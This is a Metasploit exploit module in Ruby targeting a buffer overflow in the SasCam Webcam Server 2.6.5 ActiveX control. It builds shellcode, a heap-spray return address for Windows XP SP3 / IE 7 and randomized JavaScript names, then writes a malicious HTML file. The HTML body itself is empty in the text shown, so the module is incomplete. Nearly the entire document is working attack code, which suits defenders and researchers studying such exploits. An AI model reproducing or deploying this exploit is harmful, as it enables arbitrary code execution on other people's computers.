### ## This file is part of the Metasploit Framework and may be subject to ## redistribution and commercial restrictions. Please see the Metasploit ## Framework web site for more information on licensing and terms of use. ## http://metasploit.com/framework/ ### require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'SasCam Webcam Server v.2.6.5 Get() method Buffer Overflow', 'Description' => %q{ The SasCam Webcam Server ActiveX control is vulnerable to a buffer overflow. By passing an overly long argument via the Get method, a remote attacker could overflow a buffer and execute arbitrary code on the system with the privileges of the user. This control is not marked safe for scripting, please choose your attack vector carefully. }, 'License' => MSF_LICENSE, 'Author' => [ 'dean ' ], 'Version' => '$Revision$', 'References' => [ [ 'BID','33053' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP3 / IE 7', { 'Ret' => 0x0c0c0c0c } ] ], 'DisclosureDate' => 'Dec 29 2008', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.html']), ], self.class) end def exploit # Encode the shellcode. shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Set the return. ret = Rex::Text.uri_encode([target.ret].pack('L')) # Randomize the javascript variable names. vname = rand_text_alpha(rand(100) + 1) var_i = rand_text_alpha(rand(30) + 2) rand1 = rand_text_alpha(rand(100) + 1) rand2 = rand_text_alpha(rand(100) + 1) rand3 = rand_text_alpha(rand(100) + 1) rand4 = rand_text_alpha(rand(100) + 1) rand5 = rand_text_alpha(rand(100) + 1) rand6 = rand_text_alpha(rand(100) + 1) rand7 = rand_text_alpha(rand(100) + 1) rand8 = rand_text_alpha(rand(100) + 1) content = %Q|

| # create the file print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(content) end end